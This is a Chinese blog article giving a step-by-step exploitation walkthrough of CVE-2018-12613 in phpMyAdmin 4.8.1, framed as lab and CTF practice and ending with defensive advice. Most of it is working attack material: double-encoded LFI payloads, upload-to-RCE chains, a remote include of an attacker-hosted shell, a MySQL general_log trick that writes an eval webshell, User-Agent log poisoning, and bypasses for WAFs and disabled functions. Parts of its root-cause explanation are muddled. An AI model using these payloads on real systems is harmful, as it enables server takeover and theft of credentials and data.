news 2026/7/5 20:00:48

CVE-2018-12613漏洞复现:从文件包含到RCE的完整渗透实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2018-12613漏洞复现:从文件包含到RCE的完整渗透实战

1. 项目概述与核心思路拆解

看到“phpMyAdmin 4.8.1远程文件包含漏洞”这个标题,很多搞安全研究或者打CTF比赛的朋友应该会心一笑。CVE-2018-12613,这个编号在Web安全圈里算是个“老朋友”了,它暴露了一个非常经典的逻辑缺陷:在一个本应高度安全的数据库管理工具中,因为对用户输入参数的过滤不严,导致攻击者能够包含服务器上的任意文件,进而可能执行任意代码。这次实战复现的目标,不仅仅是简单地弹出一个计算器或者回显一个phpinfo()页面,而是模拟一个完整的渗透测试流程——从信息收集、漏洞扫描开始,到最终利用漏洞拿到那个象征着胜利的Flag。这整个过程,对于理解漏洞原理、掌握实战工具链、以及培养渗透思维,都有着极高的训练价值。

简单来说,这个漏洞的核心在于phpMyAdmin的index.php文件。在特定版本(主要是4.8.0和4.8.1)中,代码在处理target参数时,虽然进行了一些安全检查,但存在可以被绕过的逻辑。攻击者可以构造一个特殊的target参数值,让程序误以为这是一个合法的、位于白名单目录下的文件,从而将其包含进来。如果这个被包含的文件内容可控(比如通过上传文件或者利用其他漏洞写入),那么远程代码执行(RCE)的大门就被打开了。我们这次的任务,就是沿着“发现目标 -> 确认漏洞 -> 利用漏洞 -> 获取Flag”这条主线,把每个环节的细节和可能遇到的坑都走一遍。

2. 靶场环境快速搭建与配置要点

在真正对未知目标动手之前,我们首先需要一个安全的、可控的环境来练手。自己搭建靶场是最佳选择,既能随意测试,又不会惹上法律麻烦。

2.1 组件选择与版本锁定

漏洞复现的第一原则就是环境要精准。CVE-2018-12613影响的是phpMyAdmin 4.8.0和4.8.1版本。为了省去兼容性麻烦,我们直接选择4.8.1版本。后端数据库选择最常见的MySQL 5.7,PHP版本选择7.x(与phpMyAdmin 4.8.1兼容性好)。操作系统用Ubuntu 20.04或者CentOS 7都可以,这里以Ubuntu为例。

一个更高效的方法是使用Docker,它能瞬间构建出完全一致的环境。我们可以编写一个简单的docker-compose.yml文件:

version: '3' services: mysql: image: mysql:5.7 container_name: pma-mysql environment: MYSQL_ROOT_PASSWORD: rootpassword123 MYSQL_DATABASE: testdb restart: unless-stopped networks: - pma-net phpmyadmin: image: phpmyadmin/phpmyadmin:4.8.1 container_name: pma-vulnerable links: - mysql:db ports: - "8080:80" environment: PMA_HOST: db PMA_ARBITRARY: 1 UPLOAD_LIMIT: 100M restart: unless-stopped networks: - pma-net networks: pma-net: driver: bridge

运行docker-compose up -d,几分钟后,一个包含漏洞的phpMyAdmin就运行在本地的8080端口了。访问http://localhost:8080,使用用户名root和密码rootpassword123就能登录。

注意:这里将phpMyAdmin直接映射到宿主机的8080端口是为了方便测试。在真实渗透测试或CTF比赛中,目标通常是远程IP。搭建本地靶场时,确保防火墙规则允许本地访问即可,切勿将带有已知严重漏洞的服务暴露在公网。

2.2 常见安装问题与排查

如果你选择手动安装,可能会遇到一些典型问题。首先是PHP扩展缺失,phpMyAdmin需要mysqlimysqlnd扩展来连接MySQL。在Ubuntu上,可以通过sudo apt install php-mysql来安装。其次是文件权限问题,phpMyAdmin的tmp目录需要Web服务器用户(如www-data)有写入权限,用于存储上传和会话文件。可以通过chown -R www-data:www-data /var/www/html/phpmyadmin/tmp来修正。

另一个容易忽略的点是config.inc.php配置。如果这个文件不存在,phpMyAdmin会在首次访问时引导你创建。在漏洞利用中,这个配置文件本身有时也能成为我们读取敏感信息(如数据库密码)的目标。在靶场中,我们可以故意使用弱密码或默认配置,以简化登录过程。

3. 信息收集与漏洞扫描实战

面对一个未知目标,我们不可能一上来就直接丢漏洞利用代码。系统的信息收集是渗透测试的基石,它能帮助我们绘制攻击面,找到最脆弱的入口点。

3.1 基础信息探测:Nmap与Wappalyzer

假设我们的靶场IP是192.168.1.100。第一步,使用Nmap进行端口扫描和服务识别:

nmap -sV -sC -p- 192.168.1.100 -oA pma_scan
  • -sV: 探测服务版本。
  • -sC: 使用默认脚本进行更深入的探测。
  • -p-: 扫描所有65535个端口。
  • -oA pma_scan: 将结果以所有格式(normal, XML, grepable)输出到文件。

扫描结果可能会显示80或8080端口开放,运行着Apache/nginx和PHP。版本信息可能直接显示“phpMyAdmin”或通过HTTP响应头暴露。我们也可以使用浏览器插件如Wappalyzer,在访问Web页面时快速识别出phpMyAdmin及其版本。

如果扫描结果没有明确版本,我们需要进一步探查。访问可能的phpMyAdmin路径,如/phpmyadmin,/pma,/admin等。通过查看页面源代码、登录页面的Logo、引用的JS/CSS文件版本,往往能确定具体版本。例如,查看./js/messages.php文件,其注释或内容可能包含版本号。

3.2 针对性漏洞扫描:工具与手工验证

确认存在phpMyAdmin后,下一步就是判断其是否在受影响版本范围内。对于CVE-2018-12613,我们可以使用专门的漏洞扫描器,比如sqlmap虽然以SQL注入见长,但其--crawl和自定义脚本功能也能用于探测。更直接的方法是使用Metasploit框架中的扫描模块:

msfconsole use auxiliary/scanner/http/phpmyadmin_preg_replace set RHOSTS 192.168.1.100 set TARGETURI /phpmyadmin run

这个模块会发送特定的请求,根据响应判断是否存在该漏洞。但工具不是万能的,很多CTF环境或定制化部署可能会干扰工具的判断。因此,手工验证是必不可少的技能。

手工验证的核心是理解漏洞触发点。漏洞位于index.php中,关键参数是target。我们可以尝试访问一个已知存在的本地文件,比如/etc/passwd(Linux)或C:\\Windows\\win.ini(Windows),但需要利用漏洞的绕过技巧。

一个简单的探测Payload是:/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../etc/passwd这里%253f?的双重URL编码。原理是:代码首先对target进行了一次URL解码,得到db_sql.php?/../../../../etc/passwd。然后检查文件名部分(db_sql.php?)是否在白名单内(白名单包含db_sql.php)。由于?在URL中会被解析为参数分隔符,但在文件系统检查时,db_sql.php?这个文件名是不存在的,然而某些检查逻辑可能只匹配?之前的部分,从而通过了白名单校验。最终,实际包含的文件路径变成了db_sql.php?/../../../../etc/passwd,在PHP中,?后的部分被当作查询字符串,因此真正包含的是../../../../etc/passwd。如果页面的响应中出现了root:x:0:0...等内容,就证实了漏洞存在。

实操心得:手工验证时,浏览器的开发者工具(F12)中的“网络(Network)”标签页至关重要。你需要仔细查看发送的请求URL和服务器返回的响应体。有时漏洞利用不成功,不是因为漏洞不存在,而是因为Payload构造有误、编码问题,或者服务器有额外的WAF规则。多尝试几种Payload变体(如不同的编码方式、路径穿越深度)是成功的关键。

4. 漏洞原理深度分析与Payload构造

知其然更要知其所以然。只有深入理解了漏洞的根源,才能灵活构造利用方式,应对各种过滤和防御。

4.1 漏洞代码溯源与逻辑缺陷

让我们看看漏洞的根源。在phpMyAdmin 4.8.1的index.php中,相关代码如下(简化版):

// index.php if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }

关键函数是Core::checkPageValidity()。我们查看该函数的实现:

// libraries/classes/Core.php public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; // 白名单数组,包含'db_sql.php', 'sql.php'等 } if (! isset($page) || !is_string($page)) { return false; } // 对$page进行URL解码 $page = urldecode($page); // 使用?分割,取第一部分检查是否在白名单中 $page = preg_replace('/\?.*$/', '', $page); if (in_array($page, $whitelist)) { return true; } // 再次尝试,去掉可能的路径后缀后检查 $page = preg_replace('/\.php$/', '', $page); return in_array($page, $whitelist); }

漏洞逻辑就在这里

  1. 函数首先对输入$page进行了一次urldecode
  2. 然后,它使用preg_replace('/\?.*$/', '', $page)来移除?以及之后的所有字符。
  3. 最后,检查处理后的字符串是否在白名单中。

绕过方法:如果我们传入target=db_sql.php%253f/../../../../etc/passwd

  • checkPageValidity函数内,经过urldecode后,%253f变成%3f(因为%25%的编码)。
  • 此时$page值为db_sql.php%3f/../../../../etc/passwd
  • 执行preg_replace('/\?.*$/', '', $page)。注意,这里的正则表达式匹配的是字面量?,而我们的字符串中是%3f?的URL编码),所以这次替换什么都没做!
  • 接着检查db_sql.php%3f/../../../../etc/passwd是否在白名单中,显然不在,函数返回false?等等,代码还没完。它又执行了preg_replace('/\.php$/', '', $page),尝试去掉.php后缀。但我们的字符串是db_sql.php%3f...,后缀是.php%3f...,不匹配.php$,所以这步也没用。
  • 看起来检查失败了?不,这里有一个关键细节:在index.php中调用checkPageValidity时,传入的$page参数是引用&$page。这意味着函数内部对$page的修改(即urldecode)会直接影响外部的$_REQUEST['target']变量。
  • 所以,当checkPageValidity函数返回后,回到index.php,准备执行include $_REQUEST['target'];时,$_REQUEST['target']的值已经被函数内部的urldecode修改了,变成了db_sql.php?/../../../../etc/passwd
  • 现在,PHP的include语句会尝试包含这个路径。在PHP的文件包含中,?后面的部分会被当作查询字符串,因此实际尝试包含的文件路径是db_sql.php。但是,由于路径中包含了/../../../../,这是一个目录遍历。最终,如果路径解析成功,服务器可能会去包含/etc/passwd文件。

这个漏洞的精妙之处在于,白名单检查的逻辑和最终包含的逻辑所处理的数据,因为引用传递和urldecode的时机问题,产生了不一致,导致了安全检查被绕过。

4.2 多种Payload构造与场景适配

理解了原理,我们就可以构造适应不同场景的Payload:

  1. 基础本地文件包含(LFI)

    • index.php?target=db_sql.php%253f/../../../../../../etc/passwd
    • index.php?target=db_sql.php%253f/../../../../../../etc/hosts
    • 用于读取服务器敏感配置文件,如MySQL的my.cnf,Web服务器的config.php,甚至phpMyAdmin自身的config.inc.php(可能包含数据库密码)。
  2. 结合文件上传的远程代码执行(RCE): 这是漏洞利用的终极目标。phpMyAdmin本身有文件导入(SQL文件)和上传功能。如果服务器配置允许上传文件到Web目录(或临时目录),且我们知道上传后的文件路径,就可以包含它来执行PHP代码。

    • 步骤一:上传一个包含PHP代码的文本文件。可以将其伪装成SQL文件(.sql),内容为:SELECT '<?php phpinfo(); ?>';
    • 步骤二:找到文件路径。上传的文件通常会在phpMyAdmin的tmp目录或系统的临时目录(如/tmp)。路径可能需要猜测或通过报错信息泄露。一个常见的位置是/var/lib/phpmyadmin/tmp/upload/xxx.sql
    • 步骤三:构造包含Payloadindex.php?target=db_sql.php%253f/../../../../../../var/lib/phpmyadmin/tmp/upload/恶意文件.sql如果包含成功,其中的PHP代码<?php phpinfo(); ?>就会被服务器解析执行。
  3. 利用PHP内置包装器: 如果服务器开启了allow_url_include(默认关闭,但有时会开启),我们可以直接包含远程服务器上的PHP文件,实现更直接的RCE。

    • index.php?target=db_sql.php%253fhttp://你的攻击服务器/shell.txt?
    • 注意,这里需要在URL末尾加一个?,是为了让?之前的http://.../shell.txt部分通过白名单检查,而真正的包含内容是整个URL。不过这种利用方式条件苛刻,实战中较少见。

注意事项:Payload中的路径穿越深度(../../的个数)需要根据目标服务器的实际部署路径进行调整。太浅了可能包含不到目标文件,太深了可能会穿越到根目录之外导致包含失败。通常从4层开始尝试,逐步增加。

5. 从文件包含到获取Flag的完整利用链

在CTF比赛或渗透测试中,最终目标往往是获取一个特定的Flag字符串。这需要我们构建一个从漏洞利用到信息获取的完整链条。

5.1 利用漏洞写入WebShell

读取文件只是第一步,执行命令才能控制服务器。最稳定的方法是写入一个WebShell到Web目录。我们需要找到一个有写权限的Web目录。可以通过包含/etc/apache2/sites-enabled/000-default.conf/etc/nginx/sites-enabled/default等配置文件来发现网站根目录。

假设我们发现Web根目录是/var/www/html。我们可以尝试利用漏洞,结合PHP的其他特性来写文件。但更常见的方法是,利用phpMyAdmin的日志文件功能。MySQL有一个全局变量general_log_file,可以指定日志文件的路径。如果我们将这个路径设置为Web目录下的一个.php文件,并将general_log设置为ON,那么所有执行的SQL语句都会被记录到这个.php文件中。如果我们在SQL语句中写入PHP代码,它就会被当作日志内容写入,而这个文件以.php结尾,可以被服务器解析。

具体操作步骤:

  1. 登录phpMyAdmin。使用获取到的或默认的凭据登录。
  2. 执行SQL语句开启日志并写入WebShell
    -- 设置全局日志文件路径为Web目录下的shell.php SET global general_log_file = '/var/www/html/shell.php'; -- 开启通用查询日志 SET global general_log = on; -- 执行一条包含PHP代码的查询,该代码会被写入日志文件 SELECT '<?php @eval($_POST[\"cmd\"]);?>'; -- 关闭日志(可选,避免产生大量日志) SET global general_log = off;
  3. 访问WebShell:如果上述操作成功,访问http://目标IP/shell.php,你就得到了一个密码为cmd的WebShell。
  4. 执行命令获取Flag:通过POST方式向shell.php发送数据cmd=system('find / -name \"*flag*\" 2>/dev/null');,来查找服务器上的Flag文件。找到后,再用cat命令读取。

5.2 直接命令执行与信息收集

如果由于权限问题无法写WebShell,或者想更快地拿到Flag,我们可以尝试在漏洞利用点直接执行命令。这需要找到一种方法,让被包含的文件能够执行系统命令。

一种方法是包含PHP的输入流包装器php://input,并将POST过去的数据作为PHP代码执行。但这种方式需要服务器开启allow_url_include,且index.php中的包含点能够接受这种包装器(通常需要target参数完全可控,且检查不严)。对于CVE-2018-12613,直接包含php://input可能无法通过白名单检查。

更可靠的方法是,先包含一个已有的、内容部分可控的PHP文件。例如,包含phpMyAdmin的会话文件(/tmp/sess_xxx),如果我们能控制会话中的某些数据,就可能注入PHP代码。或者,包含Web服务器的访问日志(/var/log/apache2/access.log),在User-Agent或Referer中插入PHP代码,然后通过漏洞包含这个日志文件来执行代码。这种方法被称为“日志投毒”。

日志投毒步骤示例:

  1. 使用Burp Suite或curl,向目标服务器发送一个请求,其中User-Agent设置为<?php system('id'); ?>
  2. 利用漏洞包含Apache的访问日志文件:index.php?target=db_sql.php%253f/../../../../../../var/log/apache2/access.log
  3. 如果包含成功,日志文件中的PHP代码会被执行,返回命令id的结果。

5.3 定位并读取Flag文件

在CTF环境中,Flag可能以多种形式存在:

  • 文件形式/flag,/home/ctf/flag,/var/www/html/flag.txt,flag{...}格式的文件内容。
  • 数据库形式:存储在MySQL数据库的某个表中。
  • 环境变量形式:通过$_ENVgetenv()获取。

拿到命令执行权限后,可以系统地搜索:

# 查找包含flag关键词的文件 find / -type f -name "*flag*" 2>/dev/null find / -type f -exec grep -l "flag{" {} \; 2>/dev/null # 查看当前目录、Web目录、家目录 ls -la / /var/www /home # 检查数据库(如果已有phpMyAdmin权限) # 在phpMyAdmin的SQL标签页执行: SHOW DATABASES; USE 可疑数据库; SHOW TABLES; SELECT * FROM 可疑表;

通常,CTF的Flag会放在一个比较明显的位置,或者通过上述信息收集步骤可以推断出来。

6. 实战中常见问题与精细化排查

理论很美好,实战却总是充满意外。下面记录一些我在这类漏洞复现和CTF解题中踩过的坑和解决思路。

6.1 漏洞扫描与验证阶段的“坑”

问题现象可能原因排查与解决思路
工具扫描报告漏洞不存在,但手工验证似乎可行1. 扫描器Payload不够新或与目标环境不兼容。
2. 目标存在WAF,拦截了扫描器的攻击特征,但手工构造的Payload可能绕过了。
1. 升级工具到最新版,或尝试其他扫描器(如nuclei)。
2. 使用Burp Suite手动构造请求,尝试不同的编码、请求方法(GET/POST)、添加无关参数干扰WAF。
手工验证时,包含/etc/passwd成功,但包含其他文件或执行命令失败1. 目标文件不存在或路径不对。
2. 打开文件权限限制(open_basedir)。
3. 包含的文件内容被当作纯文本输出,未解析(如包含.txt文件)。
1. 使用../../../../../../../更多层的穿越尝试。
2. 尝试包含PHP自身会话文件/tmp/sess_xxx或php错误日志,这些文件通常可读且可能包含可控数据。
3. 确保包含的文件后缀是.php,或者服务器配置了将其他后缀当作PHP解析(不常见)。
响应码为200,但页面空白或返回错误信息1. 包含的文件本身有语法错误,导致PHP解析失败。
2. 被包含的文件执行过程中产生了错误,但错误被屏蔽(display_errors=Off)。
3. 触发了服务器的其他安全机制(如SELinux、ModSecurity规则)。
1. 查看响应头,确认Content-Type。如果是text/html但空白,查看HTML源码,可能错误信息在注释里。
2. 尝试包含一个确定无害的简单文件,如/etc/hosts,测试包含功能是否正常。
3. 在Burp中对比正常请求和攻击请求的差异,逐个参数测试。

6.2 漏洞利用阶段的难点突破

挑战点分析与应对策略
找不到可写的Web目录1.信息收集:利用漏洞读取服务器配置文件(如/etc/apache2/envvarsAPACHE_RUN_USER,再找其家目录)、/proc/self/environ(找进程工作目录)。
2.尝试默认路径/tmp/var/tmp/dev/shm通常是全局可写的。
3.利用phpMyAdmin特性:如前所述,使用MySQL通用查询日志到/tmp目录,再通过漏洞包含。
MySQL日志写入WebShell失败1.权限问题:MySQL进程用户(通常是mysql)可能没有对Web目录的写权限。尝试写到/tmp目录。
2.日志格式:确保写入的PHP代码不会被MySQL添加的注释、时间戳破坏。用SELECT '<?php ... ?>'而不是SELECT "<?php ... ?>",避免引号转义问题。
3.文件已存在:如果/var/www/html/shell.php已存在且不可写,换一个文件名。
命令执行被禁用或限制1.函数禁用system,exec,shell_exec,passthru等函数可能在php.inidisable_functions列表中被禁用。
2.绕过方法:尝试其他函数:proc_open(),popen(),pcntl_exec()。或者用PHP文件操作函数读写文件,间接获取信息。终极方法是用dl()函数加载恶意扩展(条件苛刻)。
3.编码输出:如果命令执行了但结果不显示,尝试将输出重定向到文件:system('id > /tmp/out.txt 2>&1');,然后再去读取这个文件。

6.3 针对防御措施的绕过思路

现代服务器和WAF(Web应用防火墙)会增加漏洞利用的难度。

  • WAF拦截路径穿越(../:尝试双重编码..%252f..%252f,或者使用绝对路径(如果知道Web根目录的绝对路径,可以直接包含,但需绕过白名单)。有时使用非标准路径分隔符(如Windows下的\)或空字节截断(PHP<5.3.4)也可能有效,但本例中不适用。
  • WAF拦截特定关键词(如etc/passwd:尝试使用通配符或环境变量。例如,包含/etc/pa*swd,或者包含/proc/self/cwd/../../../etc/passwd。读取/proc/self/environ来获取敏感信息也是常用手法。
  • 服务器配置了open_basedir限制open_basedir会将PHP可访问的文件限制在指定目录树内。如果限制很死,可能无法穿越到/etc/tmp。此时需要寻找限制范围内的可利用文件,如Session文件、上传的临时文件、phpMyAdmin自身的配置文件等。

7. 防御视角:漏洞修复与安全加固建议

作为一名负责任的安全从业者,在复现漏洞之后,更重要的是理解如何防御它。对于系统管理员和开发者,以下措施至关重要:

  1. 立即升级:最根本的解决方法是将phpMyAdmin升级到已修复该漏洞的版本(4.8.2及以上)。官方在修复中严格了Core::checkPageValidity函数对输入参数的验证逻辑。
  2. 最小权限原则:运行phpMyAdmin的PHP进程和MySQL数据库用户,应使用最低必要的权限。避免使用root账户连接数据库。将phpMyAdmin安装在非Web根目录的子目录,并严格设置目录权限,禁止执行不必要的PHP文件。
  3. 网络隔离:phpMyAdmin不应暴露在公网。通过防火墙规则限制访问IP,或通过VPN、跳板机访问。如果必须公开,考虑使用HTTPS并配置强认证(如双因素认证)。
  4. 输入验证与过滤:这是所有Web安全的基石。对于用户可控的输入,尤其是用于文件包含、系统命令、数据库查询的参数,必须进行严格的验证、过滤和转义。采用白名单机制比黑名单更可靠。
  5. 部署Web应用防火墙(WAF):WAF可以帮助拦截已知的攻击模式,如路径穿越、SQL注入、命令注入等,为修复漏洞争取时间。
  6. 安全配置:关闭不必要的PHP危险函数(eval,system,exec等),设置open_basedir,关闭allow_url_fopenallow_url_include

复现CVE-2018-12613漏洞的完整过程,就像一次精密的外科手术。从外围侦察到精准切入,从利用漏洞到扩大战果,每一步都考验着对系统原理、网络协议和编程逻辑的理解。这个漏洞本身并不复杂,但它完美地展示了安全领域中“细节决定成败”的道理——一个看似微小的逻辑判断顺序的失误,就可能导致整个系统的沦陷。对于防御者而言,它是一次深刻的警示;对于攻击者(在合法授权范围内),它是一把剖析系统内部结构的精妙手术刀。掌握这样的漏洞,不是为了破坏,而是为了在更复杂的战场上,具备更强的攻防对抗能力。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/5 19:59:57

15分钟掌握Umi-OCR:开源离线OCR工具的完整使用指南

15分钟掌握Umi-OCR&#xff1a;开源离线OCR工具的完整使用指南 【免费下载链接】Umi-OCR OCR software, free and offline. 开源、免费的离线OCR软件。支持截屏/批量导入图片&#xff0c;PDF文档识别&#xff0c;排除水印/页眉页脚&#xff0c;扫描/生成二维码。内置多国语言库…

作者头像 李华
网站建设 2026/7/5 19:54:54

FreeMoCap终极指南:5步打造免费专业级动作捕捉系统

FreeMoCap终极指南&#xff1a;5步打造免费专业级动作捕捉系统 【免费下载链接】freemocap Free Motion Capture for Everyone &#x1f480;✨ 项目地址: https://gitcode.com/GitHub_Trending/fr/freemocap FreeMoCap是一款革命性的开源动作捕捉系统&#xff0c;为研究…

作者头像 李华
网站建设 2026/7/5 19:54:33

如何用py-kms搭建免费的Windows和Office激活服务器

如何用py-kms搭建免费的Windows和Office激活服务器 【免费下载链接】py-kms KMS Server Emulator written in Python 项目地址: https://gitcode.com/gh_mirrors/py/py-kms 你是否曾为Windows和Office的正版授权费用感到困扰&#xff1f;或者在企业环境中需要批量激活多…

作者头像 李华
网站建设 2026/7/5 19:52:04

如何简单快速下载M3U8视频:告别命令行恐惧的完整指南

如何简单快速下载M3U8视频&#xff1a;告别命令行恐惧的完整指南 【免费下载链接】N_m3u8DL-CLI-SimpleG N_m3u8DL-CLIs simple GUI 项目地址: https://gitcode.com/gh_mirrors/nm3/N_m3u8DL-CLI-SimpleG 你是否曾经遇到过这样的情况&#xff1f;看到一个精彩的在线视频…

作者头像 李华